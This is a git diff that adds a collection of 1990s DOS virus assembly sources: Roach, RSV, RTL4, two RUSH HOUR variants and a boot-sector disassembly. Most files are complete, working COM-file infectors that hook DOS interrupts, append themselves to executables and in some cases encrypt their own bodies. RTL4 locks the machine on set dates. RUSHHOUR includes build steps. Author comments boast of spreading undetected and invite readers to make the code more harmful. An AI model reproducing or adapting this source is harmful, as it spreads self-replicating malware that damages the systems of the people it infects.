;dos call + mov si,bp ;load the si with virus start + add si,virus_len ;add the virus len to it + sub si,7 + mov word ptr ds:[si],bx ;save the old int 21h vector + mov word ptr ds:[si+2],es ;save the old int 21h vector + + pop ds ;get from the stack + mov ax,2521h ;get the interrupt vector + mov dx,new_21 + + int 21h ;dos call + push ds + pop es + push cs + pop ds + xor di,di + mov si,bp ;offset of the start of virus + mov cx,virus_len ;number of bytes to move + +do_load_tsr: + mov ax,word ptr ds:[si] ;load the byte from host + mov word ptr es:[di],ax ;store the byte in memory + add si,2 ;inc the host pointer + add di,2 ;inc the memory pointer + loop do_load_tsr + + push cs ;push the code segment + pop ds ;reset ds to the original + jmp exit_virus ;exit the virus code + + db '[Roach] by SliceMaster 1997' ;copyright string roach + +;----- This is the code that runs in memory --------------------------------- + +exit_virus_tsr: + jmp dword ptr cs:[data_start] ;exit back to the function + +fake_dos_function: + pushf ;save the flags + call dword ptr cs:[data_start] ;fake a dos call + ret ;and return + +new_21h: + cmp ax,5432h ;is it the virus checking + jne check_interrupts ;check out the interrupts + mov ax,0063h ;yep we are in memory + iret ;interrupt return + +check_interrupts: + inc ah ;add one the the function + cmp ah,4ch ;load and exec a program + je go_virus_infect ;this is our interrupt + cmp ah,3eh ;open file call + je go_virus_infect ;this is our interrupt + cmp ah,44h ;change attrubute call + je go_virus_infect ;this is our interrupt + dec ah ;sub one from the function + jmp exit_virus_tsr ;exit the virus in memory + +go_virus_infect: + dec ah ;fix up before we exit + push ax ;\ + push bx ; \ + push cx ; \ + push dx ; \ + push si ; / save to the stack + push di ; / so the interrupt + push ds ; / will work on + push es ; / exit. + push bp ;/ + + call check_ext ;is it a com file + call open_host ;open the host file for r/w + call read_host_3 ;read the host first 3 + call infect_host ;infect file + +exit_host_infected: + call close_host ;close the host file + +exit_virus_memory: ;ti we are here. + pop ax ;/ + jmp exit_virus_tsr ;exit the virus tsr + +;----- This checks the file ext -------------------------------------------- + +check_ext: + push dx + pop si ;get the source index + mov cx,0ffh ;search for a com file ext +find_ext: + mov al,byte ptr ds:[si] ;load the byte at ds:dx + cmp al,'.' ;is it a . + je found_ext ;found the ext + inc si ;inc the location + loop find_ext ;do it again + +found_ext: + inc si ;inc the position + mov ax,word ptr ds:[si] ;load the byte ad ds:si + cmp ax,'OC' ;is it a com file + je found_com_file ;do a nother check + pop ax ;get off the stack + jmp exit_virus_memory ;not com file bail + +found_com_file: + ret ;and return + +;----- This opens a host file ----------------------------------------------- + +open_host: + mov ax,3d02h ;open file read write access + call fake_dos_function ;fake a dos interrupt + mov bx,ax ;move the handle into bx + ret ;and return + +;----- This closes a host file ---------------------------------------------- + +close_host: + mov ah,3eh ;close a file + call fake_dos_function ;close the file + ret ;and return + +;----- This reads the first 3 bytes from the host --------------------------- + +read_host_3: + push ds ;save to the stack + push dx ;save to the stack + push cs ;push the code segment + pop ds ;get the tsr segment + xor dx,dx ;zero out dx + add dx,virus_len ;add the virus len to it + sub dx,3 ;fix up dx to point to buffer + push dx ;save to the stack + mov ah,3fh ;read from the host + mov cx,3 ;read 3 bytes of host + call fake_dos_function ;fake a dos call + + pop si ;get si from the stack + mov ah,byte ptr ds:[si] ;load ah with the first byte + cmp ah,0e9h ;is it a jump instruction + je is_infect ;is the file infected + cmp ah,'M' ;does it have a MZ header + je is_infect ;the file is a command.com + pop dx ;get call from the stack + pop ds ;get call from the stack + ret ;and return + +is_infect: + pop dx ;get from the stack + pop ds ;get call from the stack + pop ax ;get call from the stack + jmp exit_host_infected ;exit the host is infected + +;----- This infects the host file ------------------------------------------- + +infect_host: + push ds ;save to the stack + push dx ;save to the stack + call lseek_end ;seek to the end of the host + push ax ;save the location + push cs ;push the code segment + pop ds ;get the virus segment + + mov ah,40h ;time to write virus to end + mov cx,virus_len ;number of bytes to write + xor dx,dx ;at the start of the segment + call fake_dos_function ;fake a dos function + call lseek_start ;seek to the start + + xor dx,dx ;zero out dx + add dx,virus_len ;add the virus len to it + sub dx,3 ;fix up dx to point to buffer + mov si,dx ;mov si the pointer + + mov ah,0e9h ;mov jump instruction in ah + mov byte ptr ds:[si],ah ;write the jump in + pop ax ;get off the stack + dec al,3 + mov word ptr ds:[si+1],ax ;write the address to buffer + + mov dx,si ;write to dx the pointer + mov cx,3 ;number of bytes to write + mov ah,40h ;write to the host file + call fake_dos_function ;fake a dos function call + + pop dx ;get off the stack + pop ds ;get off the stack + ret ;and return + +;----- This seeks to the start or end of the host --------------------------- + +lseek_end: + mov ax,4202h ;seek to the end + jmp lseek ;and do the seeking +lseek_start: + mov ax,4200h ;seek to the start +lseek: + xor dx,dx ;to start/end of host + xor cx,cx ;to start/end of host + call fake_dos_function ;fake a dos call + ret ;and return + +;----- From here down is were all the data for virus is stored!! ------------ + +data1: + +old_21h dd 0 ;old interrupt 21h function +host_3 db 3 dup(90h) ;original first 3 bytes + +virus_end: +virus_len equ virus_end - virus_start ;len of the virus code +data_start equ data1 - virus_start ;starting address of data +new_21 equ new_21h - virus_start ;len from the start to int diff --git a/r/ROOT.ASM b/r/ROOT.ASM new file mode 100755 index 0000000..f43c82b --- /dev/null +++ b/r/ROOT.ASM @@ -0,0 +1,249 @@ + +PAGE 59,132 + +; +; +; ROOT +; +; Created: 30-Aug-92 +; Passes: 5 Analysis Options on: none +; +; + +data_0001e equ 78h +data_0002e equ 7C0Bh ;* +data_0003e equ 7C0Dh ;* +data_0004e equ 7C0Eh ;* +data_0005e equ 7C10h ;* +data_0006e equ 7C11h ;* +data_0007e equ 7C13h ;* +data_0008e equ 7C15h ;* +data_0009e equ 7C16h ;* +data_0010e equ 7C18h ;* +data_0011e equ 7C1Ah ;* +data_0012e equ 7C1Ch ;* +data_0013e equ 7C1Eh ;* +data_0014e equ 7C20h ;* +data_0015e equ 7C24h ;* +data_0016e equ 7C25h ;* +data_0017e equ 7C3Eh ;* +data_0018e equ 7C49h ;* +data_0019e equ 7C4Bh ;* +data_0020e equ 7C4Dh ;* +data_0021e equ 7C4Fh ;* +data_0022e equ 7C50h ;* +data_0023e equ 7C52h ;* +data_0024e equ 7D9Eh ;* +data_0025e equ 7DE6h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +root proc far + +start: + jmp short loc_0002 + db 90h + db 'MSDOS5.0' + db 00h, 02h, 04h, 01h, 00h, 02h + db 00h, 02h,0FEh,0EFh,0F8h, 3Ch + db 00h, 11h, 00h, 0Fh, 00h, 11h + db 7 dup (0) + db 80h, 00h, 29h, 27h, 45h, 08h + db 19h + db 'MS-DOS_5 FAT16 ' +loc_0002: + cli ; Disable interrupts + xor ax,ax ; Zero register + mov ss,ax + mov sp,7C00h + push ss + pop es + mov bx,data_0001e + lds si,dword ptr ss:[bx] ; Load 32 bit ptr + push ds + push si + push ss + push bx + mov di,data_0017e + mov cx,0Bh + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + push es + pop ds + mov byte ptr [di-2],0Fh + mov cx,ds:data_0010e + mov [di-7],cl + mov [bx+2],ax + mov word ptr [bx],7C3Eh + sti ; Enable interrupts + int 13h ; Disk dl=drive a ah=func 00h + ; reset disk, al=return status + jc loc_0004 ; Jump if carry Set + xor ax,ax ; Zero register + cmp ds:data_0007e,ax + je loc_0003 ; Jump if equal + mov cx,ds:data_0007e + mov ds:data_0014e,cx +loc_0003: + mov al,ds:data_0005e + mul word ptr ds:data_0009e ; ax = data * ax + add ax,ds:data_0012e + adc dx,ds:data_0013e + add ax,ds:data_0004e + adc dx,0 + mov ds:data_0022e,ax + mov ds:data_0023e,dx + mov ds:data_0018e,ax + mov ds:data_0019e,dx + mov ax,20h + mul word ptr ds:data_0006e ; ax = data * ax + mov bx,ds:data_0002e + add ax,bx + dec ax + div bx ; ax,dx rem=dx:ax/reg + add ds:data_0018e,ax + adc word ptr ds:data_0019e,0 + mov bx,500h + mov dx,ds:data_0023e + mov ax,ds:data_0022e + call sub_0002 + jc loc_0004 ; Jump if carry Set + mov al,1 + call sub_0003 + jc loc_0004 ; Jump if carry Set + mov di,bx + mov cx,0Bh + mov si,data_0025e + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jnz loc_0004 ; Jump if not zero + lea di,[bx+20h] ; Load effective addr + mov cx,0Bh + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jz loc_0006 ; Jump if zero +loc_0004: + mov si,data_0024e + call sub_0001 + xor ax,ax ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + pop si + pop ds + pop word ptr [si] + pop word ptr [si+2] + int 19h ; Bootstrap loader +loc_0005: + pop ax + pop ax + pop ax + jmp short loc_0004 +loc_0006: + mov ax,[bx+1Ah] + dec ax + dec ax + mov bl,ds:data_0003e + xor bh,bh ; Zero register + mul bx ; dx:ax = reg * ax + add ax,ds:data_0018e + adc dx,ds:data_0019e + mov bx,700h + mov cx,3 + +locloop_0007: + push ax + push dx + push cx + call sub_0002 + jc loc_0005 ; Jump if carry Set + mov al,1 + call sub_0003 + pop cx + pop dx + pop ax + jc loc_0004 ; Jump if carry Set + add ax,1 + adc dx,0 + add bx,ds:data_0002e + loop locloop_0007 ; Loop if cx > 0 + + mov ch,ds:data_0008e + mov dl,ds:data_0015e + mov bx,ds:data_0018e + mov ax,ds:data_0019e +;* jmp far ptr loc_0001 ;* + db 0EAh, 00h, 00h, 70h, 00h + +root endp + +; +; SUBROUTINE +; + +sub_0001 proc near +loc_0008: + lodsb ; String [si] to al + or al,al ; Zero ? + jz loc_ret_0010 ; Jump if zero + mov ah,0Eh + mov bx,7 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_0008 + +; External Entry into Subroutine + +sub_0002: + cmp dx,ds:data_0010e + jae loc_0009 ; Jump if above or = + div word ptr ds:data_0010e ; ax,dxrem=dx:ax/data + inc dl + mov ds:data_0021e,dl + xor dx,dx ; Zero register + div word ptr ds:data_0011e ; ax,dxrem=dx:ax/data + mov ds:data_0016e,dl + mov ds:data_0020e,ax + clc ; Clear carry flag + retn +loc_0009: + stc ; Set carry flag + +loc_ret_0010: + retn +sub_0001 endp + + +; +; SUBROUTINE +; + +sub_0003 proc near + mov ah,2 + mov dx,ds:data_0020e + mov cl,6 + shl dh,cl ; Shift w/zeros fill + or dh,ds:data_0021e + mov cx,dx + xchg ch,cl + mov dl,ds:data_0015e + mov dh,ds:data_0016e + int 13h ; Disk dl=drive ? ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + retn +sub_0003 endp + + db 0Dh, 0Ah, 'Non-System disk or dis' + db 'k error', 0Dh, 0Ah, 'Replace and' + db ' press any key when ready', 0Dh, 0Ah + db 0 + db 'IO SYSMSDOS SYS' + db 00h, 00h, 55h,0AAh + +seg_a ends + + + + end start diff --git a/r/RSV.ASM b/r/RSV.ASM new file mode 100755 index 0000000..8400b01 --- /dev/null +++ b/r/RSV.ASM @@ -0,0 +1,160 @@ +; +; RSV - written by Conzouler 1995 +; +; memory resident +; com-append on execute +; no tb-flags +; no impressive features... +; + +.model tiny +.code +.286 + org 100h + +psize equ (offset last - offset entry) / 10h + 1 +size equ offset last - offset entry + +entry: + db 0e9h,0,0 +start: + call gores + +oentry db 0CDh,20h,90h + +gores: + mov ax, 4277h + int 21h + jnc restore + + mov ah, 4Ah + mov bx, 0FFFFh + int 21h + mov ah, 4Ah + sub bx, psize+1 + int 21h + mov ah, 48h + mov bx, psize + int 21h + sub ax, 10h + mov es, ax + mov word ptr es:[0F1h], 8 + mov di, 103h + mov bp, sp + mov si, ss:[bp] + sub si, 3 + mov cx, size-3 + rep movsb + push es + pop ds + mov ax, 3521h + int 21h + mov i21o, bx + mov i21s, es + mov ah, 25h + mov dx, offset vec21 + int 21h + +restore: + push cs + pop ds + push ds + pop es + pop si + mov di, 100h + push di + movsw + movsb + retn + +i21: db 0eAh +i21o dw ? +i21s dw ? + +vec21: + cmp ax, 4277h + jne v21e + clc + retf 2 +v21e: cmp ax, 4B00h + je infect +v21x: + jmp i21 + + +infect: + push ax + push bx + push cx + push dx + push si + push ds + + mov ax, 3D82h + int 21h + xchg ax, bx + + push cs + pop ds + mov ah, 3Fh + mov dx, offset oentry + mov cx, 3 + int 21h + cmp byte ptr oentry, 'M' + je infectx + + mov ax, 4202h + xor cx, cx + cwd + int 21h + dec ax + mov si, ax + xchg dx, ax + mov ax, 4200h + int 21h + mov dx, offset last + mov ah, 3Fh + mov cx, 1 + int 21h + cmp byte ptr last, 087h + je infectx + + xchg ax, si + sub ax, 2 + mov byte ptr entry, 0E9h + mov word ptr entry[1], ax + + mov ah, 3Fh + inc ah + push ax + mov dx, 103h + mov cx, size-3 + int 21h + + mov ax, 4200h + xor cx, cx + cwd + int 21h + + pop ax + mov dx, 100h + mov cx, 3 + int 21h +infectx: + mov ah, 3Eh + int 21h + + pop ds + pop si + pop dx + pop cx + pop bx + pop ax + jmp v21x + +last: +end entry + + + + diff --git a/r/RTL4.ASM b/r/RTL4.ASM new file mode 100755 index 0000000..bea959a --- /dev/null +++ b/r/RTL4.ASM @@ -0,0 +1,265 @@ +;****************************************************************************** +; +; RTL4 / WEDDEN DAT... VIRUS +; +;****************************************************************************** +; +; "If a weaking linkage found, eliminate... +; Hear the cities fearfull roar!" +; +; Now in front of you lies another source of a virus. It is not a very good +; one, but, as you might say, a virus is a virus. After my wake at the PC, I +; created several viruses, like: +; +; Deicide / Glenn +; Morgoth +; Breeze +; Brother +; Commentator I +; Commentator II +; Spawnie +; Xmas +; 1St_Star / 222 +; T-1000 +; +; Well, I bet you think this is a whole lot, but some are minor variants, for +; which I don't have the guts to publish the source code. I have to admid, +; Deicide and Morgoth have spread very well. I uploaded them to a BBS and it +; was downloaded several times, and it is not detected by antivirus program yet. +; Deicide is now detectable, but that was my first attempt to make a virus. +; +; This virus is a Non-Resident Direct Action .COM Infector. +; It only infects files in the current directory. +; You can recognize a infected file simply, the 4th byte is a '*' (just like +; the 1St_Star virus). It is inactive from January till May and starts +; replicating from May. After July, every Wednessday after the 21st the +; program will hang the system, showing the address of RTL4 Joop v/d Ende +; Productions. +; +; Disclaimer : This program is like all other virus sources only for +; educational purposes and should not be given to irresponsible hands +; (John McAfee and people like him). +; +; For the criminal reader : Don't just change the text of this virus and +; say you made a virus. Instead use some ideas from this virus and create your +; own virus if you want to be nasty. Additions to this virus that makes it +; spreading faster and makes it harder to detect are welcome, as long as I get +; the new source code. +; +; I want to thank several virus writers for their support with letting McAfee +; and Ass. earn his money with making so many updates of SCAN... +; Here they are : Bit Addict, XSTC, Dark Helmet, Dark Avenger, Nuke!, Cracker +; Jack and many more creators. +; +; Note to XSTC : Thank you for disassembling the Deicide virus, for I have lost +; the source code. Next time write a message, because I might have the source +; code of the virus ready, but not uploaded. It saves you time, so you may +; disassemble another virus (ofcourse only for educational purposes ;-) ) +; +; Now have fun with this virus, written in A86 assembler version 3.22 +; +; Glenn Benton +; +; "Is it truly a disembodied head lurking in the dark of the tombs of fate?" +; + Org 0h ; The outcome will be .BIN + +Start: Jmp MainVir ; Jump to main virus + Db '*' ; signature + +MainVir: Call On1 ; Get virus offset +On1: Pop BP ; BP is the index register + Sub BP,Offset MainVir+3 ; Calculate virus offset + Push Ax ; And store AX (error reg.) + + Lea Si,Crypt[BP] ; Decryptor for the + Mov Di,Si ; virus code. It's long + Mov Cx,CryptLen ; for a decoder, but it +Decrypt: Lodsb ; reduces the recognizable + Xor Al,0 ; part enough. + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Decryptor length + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store the 4 first bytes + Mov Bx,Cs:OrgPrg[BP]+2 ; of the host + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Mov Ah,2ah ; Get date + Int 21h ; If it is a wednessday + Cmp Dh,8 ; after July and after + Jb NoMsg ; the 21st, it will + Cmp Dl,22 ; will continue, else + Jb NoMsg ; it goes to NoMsg + Cmp Al,3 ; + Jne NoMsg ; + + Mov Ah,9 ; Display the message + Lea Dx,Msg[BP] ; + Int 21h ; + +Lockout: Cli ; And lock the computer + Jmp Lockout ; + +NoMsg: Cmp Dh,5 ; Is it after April? + Jae DoVirus ; Yes - Replicate + Jmp Ready ; No - Terminate to host + +DoVirus: Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fc00h ; $FE00 + Int 21h + + Mov Ah,4eh ; +Search: Lea Dx,FileSpec[BP] ; Search for a .COM file in + Xor Cx,Cx ; the current directory + Int 21h ; + + Jnc Found ; If not exist, goto Ready + Jmp Ready ; else goto Found + +Found: Mov Ax,4300h ; Get file attributes + Mov Dx,0fc1eh ; and store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; Wipe the attributes, so it + Xor Cx,Cx ; is accessable for us + Int 21h ; + + Mov Ax,3d02h ; Open the file with + Int 21h ; read/write priority + + Mov Bx,5700h ; Get de file date/time stamp + Xchg Ax,Bx ; and store them on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; Read the first 4 bytes + Lea Dx,OrgPrg[BP] ; of the program + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Is it a weird EXE? + Cmp Ax,'MZ' ; Yes goto ExeFile + Je ExeFile ; + + Cmp Ax,'ZM' ; Is it a normal EXE? + Je ExeFile ; Yes, goto ExeFile + + Mov Ah,Cs:[OrgPrg+3][BP] ; Is it already infected? + Cmp Ah,'*' ; No, goto Infect + Jne Infect ; + +ExeFile: Call Close ; Call File close + + Mov Ah,4fh ; Jump to the search routine + Jmp Search ; again for a .COM file + +FSeek: Xor Cx,Cx ; Subroutine for jumping to + Xor Dx,Dx ; the begin/end of file + Int 21h ; + Ret ; + +Infect: Mov Ax,4202h ; Jump to EOF + Call FSeek ; + + Sub Ax,3 ; Calculate new virus offset + Mov Cs:CallPtr[BP]+1,Ax ; + + Mov Ah,2ch ; Get system time + Int 21h ; + + Mov Cs:Decrypt+2[BP],Dl ; Move the decryptor part + Lea Si,MainVir[BP] ; with the 100ds second put + Mov Di,0fd00h ; into the XOR command to + Mov Cx,DecrLen ; the end of the 64K segment + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus with + Mov Cx,CryptLen ; the 100ds seconds. +Encrypt: Lodsb ; Merge it behind the + Xor Al,Dl ; decryptor + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; Write the virus + Lea Dx,0fd00h ; at the end of the + Mov Cx,VirLen ; file + Int 21h ; + + Mov Ax,4200h ; Move to start of + Call FSeek ; the file + + Mov Ah,40h ; Write the jump to the virus + Lea Dx,CallPtr[BP] ; at the begin of the file + Mov Cx,4 ; + Int 21h ; + + Call Close ; Close the file + +Ready: Mov Ah,1ah ; Restore the DTA to the + Mov Dx,80h ; original offset + Int 21h ; + + Pop Ax ; Get (possible) error code + + Mov Bx,100h ; Strange jump (but nice) to + Push Cs ; the begin of the program + Push Bx ; (which has been restored) + Retf ; + +Close: Pop Si ; A pop which is stupid + + Pop Dx ; Restore files date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Ax,4301h ; Restore attributes + Pop Cx ; + Mov Dx,0fc1eh ; + Int 21h ; + + Push Si ; A push which is stupid + + Ret ; Return to caller + +CallPtr Db 0e9h,0,0 ; Jump + +FileSpec Db '*.COM',0 ; Filesearch spec & signature + +; Activation message + +Msg Db 13,10,9,9,'RTL4' + Db 13,10,'Joop van den Ende Produkties BV' + Db 13,10,'Marco Daas (Casting Assistent)' + Db 13,10,'Postbus 397' + Db 13,10,'1430 AJ AALSMEER' + Db 13,10,'van Cleeffkade 15' + Db 13,10,'1413 BA AALSMEER' + Db 13,10,'The Netherlands' + Db 13,10,10,'Wedden dat... je een virus hebt?' + Db 13,10,'$' + +; First 4 bytes of the host program + +OrgPrg: Int 20h + DB 'GB' ; My initials (Glenn Benton) + +CryptLen Equ $-Crypt ; Length of encrypted part + +VirLen Equ $-MainVir ; Length of virus +; +; Sleep well, sleep in hell... +; + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/r/RUSHHOUR.ASM b/r/RUSHHOUR.ASM new file mode 100755 index 0000000..4e421d6 --- /dev/null +++ b/r/RUSHHOUR.ASM @@ -0,0 +1,323 @@ +PAGE 72,132 + TITLE Virus "RUSH HOUR" (p) Foxi, 1986 + + NAME VIRUS + +ABS0 SEGMENT AT 0 + ORG 4*10H +VIDEO_INT DW 2 DUP (?) ; VIDEO INTERRUPT + ; VECTOR + ORG 4*21H +DOS_INT DW 2 DUP (?) ; DOS -"- + ORG 4*24H +ERROR_INT DW 2 DUP (?) ; ERROR -"- +ABS0 ENDS + + +CODE SEGMENT + ASSUME CS:CODE, DS:CODE, ES:CODE + + ORG 05CH +FCB LABEL BYTE +DRIVE DB ? +FSPEC DB 11 DUP (' ') ; Filename + ORG 6CH +FSIZE DW 2 DUP (?) +FDATE DW ? ; date of last + ; modification +FTIME DW ? ; time -"- -"- + ORG 80H +DTA DW 128 DUP (?) ; Disk Transfer Area + + ORG 071EH ; end of the normal + ; KEYBGR.COM + + XOR AX,AX + MOV ES,AX ; ES points to ABS0 + ASSUME ES:ABS0 + + PUSH CS + POP DS + + MOV AX,VIDEO_INT ; store old + ; interrupt vectors + MOV BX,VIDEO_INT+2 + MOV word ptr VIDEO_VECTOR,AX + MOV word ptr VIDEO_VECTOR+2,BX + MOV AX,DOS_INT + MOV BX,DOS_INT+2 + MOV word ptr DOS_VECTOR,AX + MOV word ptr DOS_VECTOR+2,BX + CLI + MOV DOS_INT,OFFSET VIRUS ; new DOS vector + ; points to + ; VIRUS + MOV DOS_INT+2,CS + MOV VIDEO_INT,OFFSET DISEASE ; video vector + ; points to DISEASE + MOV VIDEO_INT+2,CS + STI + + MOV AH,0 + INT 1AH ; read TimeOfDay (TOD) + MOV TIME_0,DX + + LEA DX,VIRUS_ENDE + INT 27H ; terminate program + ; remain resident. + +VIDEO_VECTOR Dd (?) +DOS_VECTOR Dd (?) +ERROR_VECTOR DW 2 DUP (?) + +TIME_0 DW ? + +; +; VIRUS main program: +; +; 1. System call AH=4BH ? +; No : --> 2. +; Yes : Test KEYBGR.COM on specified drive +; Already infected? +; Yes : --> 3. +; No : INFECTION ! +; +; 2. Jump to normal DOS +; + +RNDVAL DB 'bfhg' +ACTIVE DB 0 ; not active + +PRESET DB 0 ; first virus not + ; active! + DB 'A:' +FNAME DB 'KEYBGR COM' + DB 0 + + +VIRUS PROC FAR + ASSUME CS:CODE, DS:NOTHING, ES:NOTHING + + PUSH AX + PUSH CX + PUSH DX + + MOV AH,0 ; check if at least 15 + ; min. + INT 1AH ; have elapsed + ; since + SUB DX,TIME_0 ; installation. + CMP DX,16384 ; (16384 ticks of the + ; clock=15 min.) + JL $3 + MOV ACTIVE,1 ; if so, activate + ; virus. + +$3: POP DX + POP CX + POP AX + ; disk access + ; because of the + CMP AX,4B00H ; DOS command + JE $1 ; "Load and execute + ; program" ? +EXIT_1: + JMP DOS_VECTOR ; No : --> continue as normal + +$1: PUSH ES ; ES:BX --> + ; parameter block + PUSH BX ; DS:DX --> filename + PUSH DS ; save registers which + ; will be needed + PUSH DX ; for INT 21H + ; (AH=4BH) + MOV DI,DX + MOV DRIVE,0 ; Set the drive + ; of the + MOV AL,DS:[DI+1] ; program to be + ; executed + CMP AL,':' + JNE $5 + MOV AL,DS:[DI] + SUB AL,'A'-1 + MOV DRIVE,AL + +$5: CLD + PUSH CS + POP DS + XOR AX,AX + MOV ES,AX + ASSUME DS:CODE, ES:ABS0 + + MOV AX,ERROR_INT ; Ignore all + ; disk "errors" + MOV BX,ERROR_INT+2 ; with our own + ; error routine + MOV ERROR_VECTOR,AX + MOV ERROR_VECTOR+2,BX + MOV ERROR_INT,OFFSET ERROR + MOV ERROR_INT+2,CS + + PUSH CS + POP ES + ASSUME ES:CODE + + LEA DX,DTA ; Disk Transfer Area + ; select + MOV AH,1AH + INT 21H + + MOV BX,11 ; transfer the + ; filename +$2: + MOV AL,FNAME-1[BX] ; into FileControlBlock + MOV FSPEC-1[BX],AL + DEC BX + JNZ $2 + + LEA DX,FCB ; open file ( for + ; writing ) + MOV AH,0FH + INT 21H + CMP AL,0 + JNE EXIT_0 ; file does not exist - + ; -> end + MOV byte ptr fcb+20h,0 ; + MOV AX,FTIME ; file already infected ? + CMP AX,4800H + JE EXIT_0 ; YES --> END + + MOV PRESET,1 ; (All copies are + ; virulent !) + MOV SI,100H ; write the VIRUS in + ; the file +$4: + LEA DI,DTA + MOV CX,128 + REP MOVSB + LEA DX,FCB + MOV AH,15H + INT 21H + CMP SI,OFFSET VIRUS_ENDE + JL $4 + + MOV FSIZE,OFFSET VIRUS_ENDE - 100H + MOV FSIZE+2,0 ; set correct + ; file size + MOV FDATE,0AA3H ; set correct date + ; (03-05-86) + MOV FTIME,4800H ; -"- time + ; (09:00:00) + + LEA DX,FCB ; close file + MOV AH,10H + INT 21H + + XOR AX,AX + MOV ES,AX + ASSUME ES:ABS0 + + MOV AX,ERROR_VECTOR ; reset the error + ; interrupt + MOV BX,ERROR_VECTOR+2 + MOV ERROR_INT,AX + MOV ERROR_INT+2,BX + +EXIT_0: + POP DX ; restore the saved + ; registers + POP DS + POP BX + POP ES + ASSUME DS:NOTHING, ES:NOTHING + + MOV AX,4B00H + JMP DOS_VECTOR ; normal function execution + +VIRUS ENDP + +ERROR PROC FAR + IRET ; simply ignore all + ; errors... +ERROR ENDP + +DISEASE PROC FAR + ASSUME DS:NOTHING, ES:NOTHING + + PUSH AX ; These registers will be + ; destroyed! + + TEST PRESET,1 + JZ EXIT_2 + TEST ACTIVE,1 + JZ EXIT_2 + + IN AL,61H ; Enable speaker + AND AL,0FEH ; ( Bit 0 := 0 ) + OUT 61H,AL + + MOV CX,3 ; index loop CX + +NOISE: + MOV AL,RNDVAL ; : + XOR AL,RNDVAL+3 ; : + SHL AL,1 ; generate NOISE + SHL AL,1 ; : + RCL WORD PTR RNDVAL,1 ; : + RCL WORD PTR RNDVAL+2,1 ; : + + MOV AH,RNDVAL ; output some bit + AND AH,2 ; of the feedback + IN AL,61H ; shift register + AND AL,0FDH ; --> noise from speaker + OR AL,AH + OUT 61H,AL + +EXIT_2: + POP CX + POP AX + JMP VIDEO_VECTOR ; jump to the normal + ; VIDEO routine..... +DISEASE ENDP + + DB 'This program is a VIRUS program.' + DB 'Once activated it has control over all' + DB 'system devices and even over all storage' + DB 'media inserted by the user. It continually' + DB 'copies itself into uninfected operating' + DB 'systems and thus spreads uncontrolled.' + + + DB 'The fact that the virus does not destroy any' + DB 'user programs or erase the disk is merely due' + DB 'to a philanthropic trait of the author......' + + ORG 1C2AH + +VIRUS_ENDE LABEL BYTE + +CODE ENDS + + END + +; To get an executable program: +; +; 1.) Assemble and link source +; 2.) Rename EXE file to COM! +; 3.) Load renamed EXE file into DEBUG +; 4.) Reduce register CX to 300H +; 5.) Write COM file to disk with "w" +; 6.) Load COM file virus in DEBUG +; 7.) Load KEYBGR.COM +; 8.) Change addresses 71Eh ff. as follows: +; 71EH: 33 C0 8E C0 0E 1F 26 +; 9.) Write KEYBGR.COM to disk with a length of 1B2A bytes +; +; Source code RUSHHOUR.ASM -- (C) 1986, foxi +; +; Taken from book "Computer Viruses - a high-tech disease" +; +; Source retyped by -=> CyberZone <=- Jon A Johnson +; U/l to Virus Exchange BBS - Sofia, Bulgaria +; +; "Have fun all you Hackers. hahaha" -->JAJ<-- diff --git a/r/RUSH_VIR.ASM b/r/RUSH_VIR.ASM new file mode 100755 index 0000000..a9ac3cd --- /dev/null +++ b/r/RUSH_VIR.ASM @@ -0,0 +1,242 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +page 72,132 + title Virus"RUSH HOUR" (c) Hanx ,1992 + name VIRUS + +abso segment at 0 + org 4*10h +video_int dw 2 dup (?) + org 4*21h +dos_int dw 2 dup (?) + org 4*24h +error_int dw 2 dup (?) +abso ends + +code segment + assume cs:code, ds:code, es:code + + org 05ch +fcb label byte +drive db ? +fspec db 11 dup (' ') + org 6ch +fsize dw 2 dup (?) +fdate dw ? +ftime dw ? + org 80h +dta dw 128 dup (?) + + org 071eh + xor ax,ax + mov es,ax + assume es:abso + push cs + pop ds + mov ax,video_int + mov bx,video_int+2 + mov word ptr video_vector,ax + mov word ptr video_vector+2,bx + mov ax,dos_int + mov bx,dos_int+2 + mov word ptr dos_vector,ax + mov word ptr dos_vector+2,bx + cli + mov dos_int,offset virus + mov dos_int+2,cs + mov video_int,offset disease + mov video_int+2,cs + sti + mov ah,0 + int 1ah + mov time_0,dx + lea dx,virus_einde + int 27h +video_vector dd (?) +dos_vector dd (?) +error_vector dw 2 dup (?) +time_0 dw ? + +rndval db 'bfhg' +active db 